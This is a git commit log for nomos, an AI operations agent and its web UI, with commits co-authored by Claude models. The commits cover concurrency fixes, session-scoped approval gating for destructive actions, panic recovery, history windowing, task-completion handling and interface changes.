70 Commits

Author SHA1 Message Date
de126daf43 feat(web): fold Events/Agent/Audit into EntityDetail; tag agent_activity with entity_id
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Events, Agent, and Audit were standalone read-only pages that never
cross-referenced the entity they related to. Fold them into EntityDetail
as entity-scoped cards (Agent activity, Audit trail) alongside the
existing Signals/Executions/Knowledge cards, and give the Signals card
real Ack/Mute/Resolve actions. Signals stays a standalone page since
it's the only one with cross-entity triage value (badge count, actions).

Also fixes the underlying reason those new cards would've stayed empty:
agent_activity rows were never tagged with entity_id at insert time
(cmd/nomos/store.go, internal/mcp/server.go), even though the column
and the API filter both support it. Added a best-effort resolver that
checks common tool-arg keys (target, entity_slug, slug, ...) against
the entities table.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-12 08:38:19 +02:00
c8b479d565 docs: close out task-completion safety net plan; fix stale relative links
Fixes 1-3 deployed and verified live: fresh trivial Q&A sessions now reach
done immediately, and a goal-bearing session that stalled was correctly
nudged by the idle sweep. Fix 4 (backfill) was replaced with deletion after
the operator's call — verified against the DB first that zero knowledge
notes were linked to or written by any of the 53 removed sessions, so
nothing was lost. Documents the pagination gap in listSessions (hardcoded
LIMIT 50, no total count) that hid 6 of those sessions from the original
audit.

Also fixes relative links in this plan and in the UI-review plan that broke
when both moved from plans/ to plans/done/ (one directory level deeper).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-12 00:14:15 +02:00
075ff93792 docs: mark task-completion safety net fixes 1-3 in progress
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-11 22:11:56 +02:00
3b9c75fa3f fix(agent): task completion safety net — stop tasks sticking at Running
Implements fixes 1-3 of plans/2026-07-11-task-completion-safety-net.md.
Confirmed live that 50/50 production sessions never reached a terminal
status because the model almost never calls complete_task, even for
trivial single-tool Q&A turns SOUL.md explicitly calls out as needing it.

- Inline safety net (agent.go): a session that never called set_goal never
  framed itself as a structured task, so its first plain-text turn-end IS
  the task ending — auto-complete it there instead of leaving status stuck
  at its creation default forever.
- Idle sweep (continue.go, new completion_nudges column): goal-bearing
  sessions that stall get one nudge, then auto-close with outcome=partial
  if the nudge goes unanswered, mirroring the pattern resumeSession already
  uses for a different stuck-session failure mode.

Fix 4 (backfill of the 50 already-stuck live sessions) is deliberately
separate — deferred until this is deployed and verified live, per the
plan's implementation order.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-11 22:11:24 +02:00
e3850f6820 docs: task completion safety net — every live task stuck Running
Traced during UI-review verification: 50/50 live sessions are stuck
active/planning, never done/failed. Root cause confirmed against the
running DB — set_goal called once, propose_plan and complete_task
called zero times across all 50 sessions. The model consistently
skips the terminal complete_task call despite SOUL.md explicitly
instructing it to, especially for trivial single-tool Q&A turns.
Plan proposes an inline safety net for the common case plus an idle
sweep for structured goal/plan sessions that stall.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-11 22:01:35 +02:00
fb4c76ba82 fix(ui): implement UI review findings — a11y, IA, and consistency fixes
Fixes the reviewed gaps: keyboard-inaccessible delete controls (SessionRail,
Entities row), case-sensitive entity filter, two competing entity-detail
navigation patterns (standardize on EntitySheet), non-clickable Overview KPI
cards, a bare button bypassing the shared Button component, inconsistent
blur-only vs live filtering, and an unenforced sanitization assumption on
search snippet HTML (now using the already-present dompurify dependency).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-11 21:52:59 +02:00
b72267bd72 docs: nomos agent code review — mark all fixes done except deferred C1
Every finding from the review is now implemented and verified live:
A1 (3919ec3), B1+B2 (c5ffaec), A3 (926969a), D1-D3 (76f7630), A2 (c390164),
B3 (6d4f6de), F1 (11c18e8). C1 (nomos gateway has no authentication) remains
explicitly deferred per operator instruction. Kept in plans/ (not moved to
done/) since C1 is still open, matching how other partially-complete plans
in this index are tracked.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 20:32:29 +02:00
11c18e8956 perf(agent): cache the MCP tool list per client (F1)
Fix F1 of plans/2026-07-11-nomos-agent-code-review.md, the last item.
buildTools called listToolsFull (a tools/list MCP round-trip) at the start of
EVERY chat turn, including every auto-continuation resume — the tool list is
static for the lifetime of one MCP connection, changing only when the api
process re-registers tools (a restart, which this client already detects and
reacts to via reconnectLocked). Re-fetching it every single turn was
avoidable network+parsing work on the hot path.

mcpClient now caches the parsed tool list after its first fetch, guarded by
its own mutex (kept separate from the request-serializing mu so a cache
check never contends with an in-flight doRequest call). reconnectLocked
clears the cache — an api restart may have changed what's registered, so a
stale cache would be wrong, not just slow. fleetSnapshot's get_health_summary
call is deliberately left uncached — it's meant to be "as of now."

Since each session gets its own client (the per-session pool from the
concurrency work), this caches per-task-conversation rather than globally: a
task's FIRST turn still pays the round-trip, every turn after reuses the
cached list — which is exactly the case that mattered (long-running,
heavily-autonomous tasks with many auto-continuation resumes).

Verified live via the api's request log: a brand-new session's first turn
made 3 MCP calls (initialize, tools/list, get_health_summary); a second turn
on the SAME session made exactly 1 (only get_health_summary) — tools/list
correctly skipped.

This completes the implementation order in
plans/2026-07-11-nomos-agent-code-review.md — every A/B/D/E/F finding from
the review (excluding C1, explicitly deferred per operator instruction) is
now fixed, tested, and verified live.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 20:30:07 +02:00
6d4f6de676 fix(agent): mark a task failed when its resume permanently gives up (B3)
Fix B3 of plans/2026-07-11-nomos-agent-code-review.md. resumeSession's retry
loop (used by both auto-continuation and panel-answered questions) already
retried once on a transient LLM failure, but if BOTH attempts came back
empty/erroring, the code just logged and returned — the task was left at
whatever status it already had (typically 'executing' or 'awaiting_input')
with no outcome, no operator-visible signal beyond an inert error line
buried in the transcript, and no way to tell a genuinely stuck task apart
from one quietly still working.

On permanent failure, now calls store.completeTask(outcome='failure', a
summary built from the error) so the task board reflects reality instead of
showing a task that looks perpetually in-progress. Uses context.Background()
for that write, matching resumeSession's own persistence pattern, since the
context that led to the failure may itself be in a bad state. This doesn't
prevent the operator from continuing to work the task via a fresh chat
message afterward — it only replaces silent hanging with a real status.

A full live induction of a permanent LLM outage would require breaking the
model/API-key config for the whole nomos container — too invasive for this
fix's priority. Verified instead that the new branch stays correctly dormant
on the happy path: ran a real ask_operator → panel-answer → resume cycle
end-to-end and confirmed the task landed at status='executing' with no
outcome set, proving the failure-handling code doesn't false-positive on a
normal successful resume.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 20:25:21 +02:00
c3901641d1 fix(agent): bound conversation history replayed to the LLM (A2)
Fix A2 of plans/2026-07-11-nomos-agent-code-review.md. chatWith replayed a
session's ENTIRE message history into the LLM's context on EVERY turn, no
windowing, no token budget — confirmed against a documented production case
(a single turn with 70 tool calls, messages up to 106KB). Every subsequent
turn of a long-running or heavily-autonomous task re-sent that ever-growing
history in full — a real cost/latency/eventual-context-limit risk for
exactly the tasks this system runs longest (many auto-continuation cycles).

Design call (flagged in the review as needing one before implementation):
a fixed-size window for LLM replay specifically, not the UI's own transcript
view. Simplest option that still keeps roughly the current task's working
context; a token-aware trim or LLM-summarize-on-drop are documented as
stretch options if 30 proves insufficient in practice.

- store.go: new getRecentMessages(ctx, sessionID, limit) — last `limit`
  messages in chronological order, plus whether older ones were omitted.
  getMessages (used by the UI's GET /sessions/{id}) is untouched and stays
  unbounded — the operator should still see a task's full history regardless
  of length; only what gets sent to the model is bounded.
- agent.go: chatWith uses getRecentMessages(sessionID, historyWindowSize=30)
  instead of the unbounded getMessages. When truncated, injects a system
  note telling the model explicitly that older turns exist but aren't shown,
  so it checks upsert_knowledge/search_knowledge rather than assuming
  something wasn't done just because it isn't visible.

New cmd/nomos/store_test.go: real Postgres integration tests (mirroring
internal/db/integration_test.go's throwaway-database pattern, guarded by
OIKOS_TEST_DATABASE_URL). TestGetRecentMessages_Truncation is the direct
proof for this fix (35 messages → 30 returned, correctly ordered,
truncated=true; 5 messages → all 5, truncated=false) — both cases run
against a fully-migrated database, not mocked. Also added
TestProposePlan_AppendVsReplace, closing part of the review's test-coverage
finding (E) by permanently regression-testing the earlier append-vs-replace
plan fix (commit 5384499), which had only been verified manually until now.

Verified live: inflated a real session to 42 persisted messages via direct
SQL, then continued it with a real chat call — the turn proceeded normally
(multiple real tool-call iterations, no crash, no context-length error);
nomos stayed healthy throughout. A3's incremental persistence separately
confirmed to have caught the 7 real tool calls made before the client
connection was cut, cleanly closing out both fixes' interaction.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 20:22:30 +02:00
76f76308cc fix(agent): D1-D3 cleanups — dead code, N+1 query, unvalidated outcome enum
Fixes D1-D3 of plans/2026-07-11-nomos-agent-code-review.md:

- D1: deleted isTaskTool — defined, never called (dispatch already checks
  handleTaskTool's own `handled` return value).
- D2: recordTouched issued one SELECT per entity slug found in a tool call's
  args; batched into one `WHERE slug = ANY($1)` query. Verified live: a turn
  naming three separate entities recorded involves edges for all three via
  the single batched lookup.
- D3: complete_task's outcome had a declared enum (success|failure|partial)
  in its tool schema but nothing validated it — an out-of-enum value (model
  typo or a weaker model not respecting the schema) silently persisted as-is,
  with only "failure" special-cased (anything else became status='done'
  regardless of what the value actually said). Now validated in
  handleTaskTool: empty defaults to "success" (unchanged), a recognized value
  passes through, anything else defaults to "partial" (safer than silently
  treating an unrecognized value as success) with a warning logged. Verified
  live: instructed the agent to call complete_task with outcome="unclear" —
  persisted as outcome='partial', not the literal invalid string.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 20:13:48 +02:00
926969a03f fix(agent): live chat turns persist incrementally, survive client disconnect
Fix A3 of plans/2026-07-11-nomos-agent-code-review.md. handleChat only ever
saved the assistant message ONCE, after a.chat(...) returned, using
ctx := r.Context() for that write — the same context that cancels the instant
the client disconnects (Stop button, tab close, network blip). A disconnect
mid-turn meant the final save ran with an already-cancelled context and its
error was never checked: the entire turn's tool-call history was silently
lost from the persisted transcript, even though real work (executions
launched, knowledge written) had already happened server-side.

Brought handleChat in line with resumeSession's existing pattern
(continue.go): insert a placeholder assistant row immediately, update the
SAME row after every tool call. The key fix is WHICH context the writes use —
a new pctx := context.Background() for every DB write in this handler
(session creation/touch, the user message, question auto-close, the
placeholder + incremental updates, the title update), while ctx/r.Context()
still gates the agent's own work (a.chat) and the SSE writes exactly as
before — a disconnect still correctly stops the agent from doing further
work, it just no longer also erases what it already did.

Verified live: sent a message requiring 6 tool calls (get_entity/
get_relations/get_blast_radius on two targets) and force-killed the client
connection mid-stream with curl -m 12 (confirmed via exit code 28). Before
this fix the persisted transcript would show 0 tool-call entries; after,
all 12 raw tool_use/tool_result entries (6 calls × 2) were present and
correctly attributed by tool name — proving both that progress survives an
abort and that the incremental writes aren't corrupting the data.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 20:10:04 +02:00
c5ffaec85b fix(agent): panic recovery on every background goroutine (B1+B2)
Fixes B1 and B2 of plans/2026-07-11-nomos-agent-code-review.md together,
since the right granularity for B1 in the auto-continuation worker turned
out to require B2's restructuring anyway (see below).

B1: grep -rn "recover()" cmd/nomos/ internal/mcp/ internal/httpapi/ returned
nothing before this — every explicitly-spawned goroutine (continuation
worker, resumed chat turns, async execution dispatch, the SSE listener, two
duplicate sshExec implementations' output-collector goroutines) crashed the
whole process on an unhandled panic, not just that one goroutine. More
consequential post-concurrency: more simultaneous unattended background work
means more surface area for one bad input to end every running task.

New internal/safego package: Go(label, fn) launches fn in a goroutine with a
recover-and-log wrapper. Applied at every bare `go` spawn site across the
three packages. Two sites needed bespoke handling instead of the generic
helper because their callers block on a channel and a silent recover would
just make them hang until timeout: sshExec's output-collector goroutine (two
near-identical copies, internal/mcp/server.go and internal/httpapi/phase3.go)
and httpapi's ListenAndServe goroutine — both now recover AND send a
synthetic error result so the waiting select unblocks immediately instead of
waiting out the full timeout.

httpapi's sseListener got extra treatment: its per-notification handling was
extracted into handleNotification with its own recover, so a panic decoding
ONE malformed pg_notify payload can't kill the listener goroutine for every
connected SSE client — the outer goroutine spawn only needs to guard the
connection setup/reconnect code around it.

B2: cmd/nomos/continue.go's processContinuations used to run every pending
continuation SEQUENTIALLY in a plain for loop, in the SAME goroutine as the
ticker — meaning (a) task B's continuation waited for task A's full (up to
10-minute) resumed turn to finish first, undercutting this session's earlier
concurrency work on exactly the path autonomous tasks depend on most, and
(b) an unrecovered panic anywhere in that call chain didn't just crash the
process (B1) — even WITH B1's recovery wrapped only at the top-level worker
spawn, the panic would still unwind the ENTIRE ticker-loop goroutine,
silently ending auto-continuation for every task until nomos restarted.
Fixed by spawning each pending item via safego.Go individually: real
parallelism, and a bad item can now only ever take down its own goroutine.

Added internal/safego/safego_test.go: TestGo_RecoversPanic is the concrete
proof — a deliberate panic inside Go() that would otherwise crash the whole
test binary; reaching the assertion after it IS the evidence recovery works.

Verified live against the rebuilt containers: full chat turn round-tripped
correctly (hostname lookup, 2 iterations, normal completion) — no regression
from threading safego.Go through the tool-dispatch/continuation paths.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 20:05:19 +02:00
3919ec37d7 fix(agent): word-boundary matching + contracted negatives in chat-assent
Fix A1 of plans/2026-07-11-nomos-agent-code-review.md. isAssent and
isTypedConfirmation used a space-padded word-boundary check for negation
words but a bare strings.Contains for assent/confirm words — confirmed live
via test probes: isAssent("...maybe yesterday's logs...") returned true
("yes" matched inside "yesterday"), and isTypedConfirmation("I haven't
confirmed anything yet") returned true ("confirm" matched inside "confirmed",
and "haven't" wasn't in negationWords — only "don't"/"do not" were).
isTypedConfirmation is the sole gate for DESTRUCTIVE actions, so the second
case meant a message merely stating something hadn't been confirmed could
read as an explicit confirmation.

- Replaced the ad-hoc space-padding/prefix-check negation logic with proper
  tokenization (wordTokenRe) + containsPhrase, matching WHOLE tokens/phrases
  only — never a mid-word substring. Handles curly apostrophes too (a
  pre-existing gap: the old straight-quote-only check would have missed
  "don't" typed with a smart quote).
- Added contracted negatives (haven't, hasn't, isn't, wasn't, aren't, can't,
  cannot, won't, wouldn't, shouldn't, didn't, doesn't) to negationWords.
  Deliberately did NOT add a bare "not" — too broad, would false-negative
  ordinary assent like "go ahead, this is not risky".
- Added regression tests for both confirmed cases plus a couple of adjacent
  ones (eyesight/isn't, can't confirm) so a future change can't silently
  reintroduce either bug.

All existing assent/confirmation tests pass unchanged — this is a pure
robustness fix, not a behavior change for any previously-correct case.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 19:51:57 +02:00
df393152f6 docs: nomos agent code review — gaps and improvement plan
Full read-through of cmd/nomos/ (agent.go, store.go, main.go, continue.go,
assent.go, tasks.go). Findings, ranked:

- A1 (confirmed via runnable probe): isAssent/isTypedConfirmation use
  unpadded substring matching for assent/confirm words while negation uses
  word-boundary checks — "yes" matches inside "yesterday", "confirm" matches
  inside "confirmed" with no negation word covering contracted negatives
  ("haven't"). isTypedConfirmation gates DESTRUCTIVE actions specifically.
- A2: chatWith replays a session's ENTIRE message history every turn, no
  windowing/token budget — confirmed unbounded against a documented
  production case (70 tool calls, 106KB messages).
- A3: a live turn's tool-call history is lost entirely if the client
  disconnects mid-stream (single end-of-turn save using the same
  connection-tied, possibly-cancelled context) — resumeSession already has
  the fix pattern (incremental placeholder+update), handleChat doesn't use it.
- B1: zero recover() anywhere in cmd/nomos/internal/mcp/internal/httpapi —
  every explicitly-spawned goroutine (continuation worker, resumeSession,
  executeApprovedViaAPI, sse listeners) crashes the whole process on panic.
- B2: auto-continuation processes its batch sequentially, one full LLM turn
  at a time, undercutting this session's own concurrency work on exactly the
  path autonomous tasks depend on most.
- B3: no terminal state for a permanently-failed auto-continuation.
- C1: nomos's own gateway (port 8092, directly published + mesh-reachable)
  has ZERO authentication on any endpoint — chat, session read/delete,
  chat-assent approval of gated executions, all open to anyone on the LAN.
- D1-D3: dead code (isTaskTool unused), N+1 query in recordTouched, no
  validation on complete_task's outcome enum.
- E: zero automated tests for agent.go/store.go/main.go/tasks.go — including
  today's new safety-critical logic (session-scoped windows, mcpClientPool,
  proposePlan's append-vs-replace), verified only by live manual testing.
- F1: tool list + fleet snapshot re-fetched every turn (minor).

Prioritized implementation order in the doc: A1 → C1 → B1 → B2 → A3 → D1-3 →
A2 → B3/F1, tests landing alongside each fix rather than as a deferred pass.

Also archives the now-fully-shipped concurrent-task-execution plan to done/
(all 3 required fixes deployed this session; fix 4 explicitly deferred per
its own recommendation).

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 19:47:17 +02:00
a4ea542f3e fix(concurrency): per-session MCP client pool — removes cross-task tool-call blocking
Fix 3 of plans/2026-07-11-concurrent-task-execution.md, the throughput one.
nomos held exactly one *mcpClient for the whole process, shared by every
/chat goroutine. Its mutex was held for the full duration of each tool
round-trip, and `run` executes its SSH command SYNCHRONOUSLY inside that
round-trip (capped at up to 10 minutes) — so while Task A was mid-`run`,
every other task's tool calls, even a trivial get_entity, queued behind that
single lock. Tasks could think (LLM calls) in parallel but never act in
parallel.

The MCP server has no per-connection state to protect (newServer returns one
shared *mcp.Server instance whose handlers close only over the DB
connection pool, already safe for concurrent use) — the mutex existed purely
because the client reused one stateful transport session. So the fix doesn't
touch the server at all:

- New mcpClientPool (cmd/nomos/main.go): one *mcpClient per session id,
  created lazily (a real MCP initialize handshake) on first use and cached;
  session-less traffic (the ephemeral no-DB-store path, the structured
  /query endpoint) gets its own fixed, reused key instead of a fresh
  connection per request. Idle clients (20 min past last use — long enough
  to outlive a single slow `run`) are evicted on a 5-minute sweep ticker.
- agent.go: `client *mcpClient` → `clients *mcpClientPool`; every call site
  (buildTools, fleetSnapshot, the tool-dispatch loop) now resolves its own
  session's client via clients.get(sessionID) instead of reaching for one
  shared field. A task's own tool calls stay sequential (already true — the
  agent loop calls tools one at a time within a turn) but no longer block
  anyone else's.
- main.go: handleQuery takes the pool instead of a client (keyed "query", a
  fixed non-session slot); shutdown calls pool.closeAll().

Verified live against the deployed stack: fired a slow-but-ungated command
(`ping -c 15 127.0.0.1`, read-only per policy's allowlist, no approval
needed) as Task A, then — 2s into A's run — a trivial hostname lookup as
Task B, both through the real /chat endpoint. Task A's ping genuinely ran
~14.3s (confirmed via its own execution record and the agent's reported
output). Task B returned in 6s total, well before A finished — proving it
was never queued behind A's connection. Before this fix, B would have been
forced to wait out A's entire ~14.3s hold on the single shared client.

This completes plans/2026-07-11-concurrent-task-execution.md's required
scope — only the explicitly optional/deferred Fix 4 (a concurrency/cost cap,
pending real usage data) remains.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 19:15:32 +02:00
6a8fb435ad fix(concurrency): per-session stream controllers, not one global slot
Closes the known gap flagged in the previous commit (9131559). A single
module-level `activeController` meant cancelStream()/newChat() always
aborted whichever stream was MOST RECENTLY STARTED, regardless of what the
operator was currently viewing: start Task A, switch to an already-loaded
Task B, click "New task" — the click's cancelStream() would silently abort
Task A's still-running turn, even though the operator was never looking at
it and never asked to cancel it.

- Replaced the single controller with activeControllers (Map<sessionID,
  AbortController>) plus pendingController for the brief pre-'session'-event
  window of a brand-new task. Registered immediately in sendMessage (keyed by
  the continuing session id right away, or held pending until the 'session'
  event assigns a new one) and cleaned up on completion.
- cancelStream() now looks up by $currentSession (falling back to
  pendingController when no session is assigned yet) — it can only ever
  touch the stream belonging to the view being left, never an unrelated
  background task's.
- newChat() unchanged in behavior (still calls cancelStream()), now correctly
  scoped through the above.

Verified live, reproducing the exact bug: started Task A (slow, 5 tool
calls), switched to an existing Task B, clicked "New task" while viewing
B — Task A was NOT aborted, ran to completion server-side with a full,
correct final summary (previously this exact sequence would have killed it).
Confirmed the positive path is unaffected: started a task, clicked Stop
while actively viewing it — input re-enabled, stream genuinely aborted
("BodyStreamBuffer was aborted"), turn stopped mid-flight as expected.

This closes out Fix 2's scope from
plans/2026-07-11-concurrent-task-execution.md; only Fix 3 (per-session MCP
client pool, throughput) and the optional Fix 4 (concurrency cap) remain.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 19:02:50 +02:00
9131559ebd fix(concurrency): guard chat.ts's stream callback against a stale session
Fix 2 of plans/2026-07-11-concurrent-task-execution.md. sendMessage's SSE
callback mutated the global messages/currentSession stores unconditionally,
assuming only one task's turn is ever in flight. It isn't — the backend runs
every /chat request as its own goroutine with no serialization. Switching to
a different task while a previous one was still streaming let that
background stream's later events (tool_use, text_delta, ..., and worst of
all 'done''s currentSession.set) get applied to whatever the operator is now
looking at: corrupting another task's transcript, or yanking the view back
to the one they left.

- Captures the session a stream belongs to (openedFor at call time, updated
  to the real id once the 'session' event assigns one) and checks
  $currentSession still matches before every messages/error/streaming
  mutation. The task keeps running server-side regardless — dropped events
  just mean the live view isn't watching it; navigating back re-hydrates via
  REST, same as already happens for auto-continuation.
- The 'session' event itself only claims currentSession if the operator
  hasn't already navigated elsewhere since the call started (comparing
  against openedFor, which is null for a brand-new task).
- loadSessionMessages/newChat now reset `streaming` to false unconditionally
  on navigation — needed so the new guard can't leave a DIFFERENT task's view
  stuck showing streaming=true (which would also silently stop startPolling's
  loop from ever applying updates, since it bails while $streaming is true).

Known residual gap, not fixed here (matches the plan's "contained fix, not a
rearchitecture" scope): activeController is still a single global slot, so
starting a new task while another is mid-stream, then clicking "New task"
again, aborts whichever stream that slot last pointed at rather than only
the one being left. A genuine multi-session controller/store is the
plan's deferred "stretch" fix, not required for correctness here.

Verified live: started Task A with a deliberately slow 4-tool-call turn,
switched to an existing Task B mid-stream — Task B's transcript stayed
correct with zero A-originated entries and the input was NOT stuck disabled.
Task A kept running and completed normally server-side (status=done, full
6-tool transcript, 5-entity graph); navigating back loaded its complete,
uncorrupted result via REST.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 18:34:02 +02:00
9ef1ba3702 fix(concurrency): scope assent/destructive windows to session, not just agent
Fix 1 of plans/2026-07-11-concurrent-task-execution.md — the safety-critical
one. The assent window (and destructive window) were keyed purely by agent
id ("assent_window.agent:<uuid>"). With one agent:nomos entity serving every
concurrent task, this meant approving Task A's plan opened a window that ANY
concurrently-running task's config-mutation/destructive actions could also
ride, auto-executing without their own approval.

- store.go / agent.go: assentWindowActive/openAssentWindow and
  destructiveWindowActive/openDestructiveWindow/destructiveWindowKey all gain
  a sessionID parameter; keys become
  "assent_window.agent:<id>.session:<sessionID>" and
  "destructive_window.agent:<id>.target:<slug>.session:<sessionID>". Missing
  session id fails closed (no window) rather than falling back to the old
  agent-wide key.
- continue.go: the auto-continuation worker's window check moved from once-
  per-batch to once-per-pending-item, scoped to that item's own session —
  it was previously checking ONE agent-wide window for a batch that can span
  multiple tasks.
- agent.go tool-dispatch: injects `_session_id` into a COPY of the wire args
  sent to the MCP server (never into the args used for the emitted/logged/
  persisted tool call, and never part of any tool's declared InputSchema —
  invisible to the model) so the gating checks on the OTHER side of the
  process boundary know which task is asking.
- internal/mcp/server.go: assentWindowActive/destructiveWindowActive/
  classifyAndGate gain the same sessionID parameter, read from
  args["_session_id"] at the three call sites (request_execution's
  apt_upgrade/pct_create branches, and the shared classifyAndGate used by
  restart/pct_exec/systemctl/run).

Verified against the live stack with the exact scenario from the plan: opened
an assent window for session A only, then called `run` with an identical
config-mutation command for session A (window open) and session B (same
agent, no window). A auto-ran (execution status completed); B correctly
queued for approval (pending_approval) instead of bleeding through — proven
at both the MCP response text and the executions table.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 18:27:29 +02:00
6932eb5eed docs: plan concurrent task execution; archive completed tasks plan
New plan grounds three concurrency issues found by tracing the actual code
(not assumed): the assent/destructive windows are keyed by agent id only
(no session dimension), so an approved plan in one task can auto-run
unapproved actions in a concurrently-running task; nomos shares one
mutex-guarded MCP client across all sessions, so a single slow `run` call
serializes every other task's tool calls behind it; and chat.ts's SSE
callback has no session guard, so switching tasks mid-stream lets the
backgrounded task's events corrupt whatever's now displayed. Proposes
session-scoping the windows (critical/first), a frontend stream guard
(contained/second), a per-session MCP client pool (throughput/third), and
an optional concurrency cap (deferred pending real usage data).

Also archives the goal-oriented-chat-control-panel plan to done/ — all 7
phases shipped and are live in production (SHA e30813a) — fixing its
internal relative links for the new depth and pointing forward to the new
concurrency plan as follow-up hardening.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 18:14:35 +02:00
e30813a43d feat(tasks): make research-first / knowledge-write-back-last explicit steps
Closes the gap that made the knowledge loop optional/implicit: every
non-trivial task now has an EXPLICIT first plan step (research) and last
plan step (write back), not just background behavior the model might skip.

New MCP tools (the agent had no way to do these before — only REST endpoints
existed, unexposed to it):
- update_entity_attributes(slug, attributes): shallow-merge new/changed facts
  into an entity (an IP, a version, a discovered port) so a future task
  doesn't have to rediscover them from scratch. No approval required — this
  updates the knowledge graph, not live infra.
- create_relationship(source, target, type): record a discovered edge
  (depends-on, hosts, provides, ...). Idempotent, FK-validated against the
  ontology's relationship_types, no approval required.

SOUL.md: restructured the task loop so step 1 is explicitly "gather
knowledge, not just status" (get_entity_knowledge, search_knowledge,
get_relations, get_blast_radius, http_get) and the last step before
complete_task is explicitly "write back" (update_entity_attributes,
create_relationship, upsert_knowledge) — both called out as real plan
entries the operator should see in propose_plan, not silent side-work. This
is what prevents the graph drifting from reality and is the concrete
mechanism behind "tasks compound."

propose_plan's tool description reinforces the same first-step/last-step
convention at the call site.

Verified against the live stack: both tools registered and callable via MCP;
update_entity_attributes merged an attribute correctly; create_relationship
rejected an invalid type (FK violation, clear error) and succeeded with a
valid type+direction, confirmed idempotent (2 calls, 1 row).

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 14:14:02 +02:00
5384499903 fix(tasks): plan panel showed only the latest step, not the full plan
Root cause: proposePlan unconditionally deleted and replaced the whole
session_plan_steps list on every call. The model isn't strictly held to
"call propose_plan once with the full list" — nothing stopped it (and
production evidence + live testing showed it happening) from calling
propose_plan once per step as it worked. Each such call wiped every
already-completed step, so the operator only ever saw the model's latest
single step ("1/1") instead of the real, growing plan.

Fix, two layers:
- store.go: proposePlan now only does a destructive replace when no step
  has left 'pending' yet (a genuine pre-execution revision). Once any step
  has started, a new call APPENDS after the current max seq instead of
  wiping — so the panel accumulates the full history regardless of how the
  model chooses to call the tool. plan.proposed now carries `appended` so
  the frontend knows whether to replace or append.
- workspace.ts: plan.proposed handler respects `appended` (update vs set).
- tasks.go / SOUL.md: strengthened the propose_plan description and task-
  loop guidance to call it ONCE with the complete step list end-to-end,
  using update_plan_step (not re-calling propose_plan) to advance — fixing
  the root behavioral cause, with the store-side append as a safety net
  that holds even if the model still calls it incrementally.

Verified: forced the exact incremental-call pattern (propose_plan with 1
step, mark it running, propose_plan again with 1 more step) — the second
call appended at seq 2 instead of erasing seq 1, and its plan.proposed
event carried appended=true.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 14:07:10 +02:00
991e7d0900 feat(tasks): phase 6 — live TaskContextPanel (goal, plan, question, entities)
Replaces the chat right rail's ad-hoc Digest+Graph stack with a single
TaskContextPanel that renders the task's live working state, driven by the
always-on events stream (not the per-turn chat SSE) so it keeps updating
during server-side auto-continuation/resume:

- GoalHeader: goal + status pill (planning/executing/awaiting_input/done/
  failed), sourced from the sessions list.
- PlanProgress: ordered steps with live status icons + progress bar, hydrated
  via new GET /sessions/{id}/plan; clicking a step with a target opens its
  EntitySheet (no fake "jump to transcript" — bits-ui Collapsible content
  isn't force-mounted, so a DOM-scroll jump would silently no-op for
  collapsed tool groups).
- OperatorQuestion: the pinned structured question card (prompt/why/entity
  chips/option buttons/free-text), hydrated via new GET /sessions/{id}/
  questions; answering POSTs to the existing answer endpoint.
- SessionGraph upgraded to a live entity panel: entity.touched pulses the
  node (animated ring) and shows "Now touching <slug>"; health.changed shows
  a transient diff badge for touched entities.
- SessionDigest gains a success/failure/partial outcome banner and now also
  refetches when the task's status changes, not just on session switch.

Two bugs found and fixed while wiring this up:
- workspace.ts's status-refresh trigger only covered goal.set/task.status;
  question.raised/answered didn't refresh the sessions list, so GoalHeader's
  pill went stale after answering via the panel (resumeSession runs entirely
  server-side — no client 'done' event to piggyback a refresh on). Now every
  status-affecting event triggers the (debounced) refetch.
- Forgot to rebuild the nomos container after adding the /plan and
  /questions endpoints, so they silently fell through to the old default GET
  handler — caught via a live curl diff against the running container,
  not a code read.

Verified end-to-end against the live stack: goal/plan/question all update
without a reload as the agent works; answering a question via the panel
resumes the agent and the header pill correctly flips to Executing;
entity.touched pulses the live graph.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 13:52:36 +02:00
413bf54daf feat(tasks): task board UI — chat window becomes Tasks + card grid
Reframes the chat surface as tasks:
- New Tasks.svelte: a card grid of tasks, each showing status (Running /
  Needs input / Done / Failed), the goal as title, the outcome summary, and
  relative time; filterable by status with live counts; delete on hover;
  "New task" and per-card click open the conversation.
- Board updates LIVE off the events stream (goal.set / task.status /
  question.*) via an explicit liveEvents.subscribe with a debounced refetch —
  scanning all events newer than the last seen, since entity.touched bursts
  bury task events below index 0.
- App shell: primary nav "Chat" → "Tasks" (board is now the home route),
  "New chat" → "New task", conversation header gets a Tasks / Conversation
  breadcrumb. Removed the superseded Sessions page.
- api.ts Session type carries the task fields (goal/status/outcome/summary).

Also fixes a pre-existing SSE bug that blocked ALL live updates app-wide:
writeSSE emitted `event: <type>`, which EventSource only delivers to
addEventListener(type) handlers — but stores/events.ts (and every page reading
liveEvents) consumes via onmessage, which never fires for named events. So the
live stream delivered nothing to the UI. Dropped the event-name line; the type
is already in the JSON payload, and new event types now need zero client
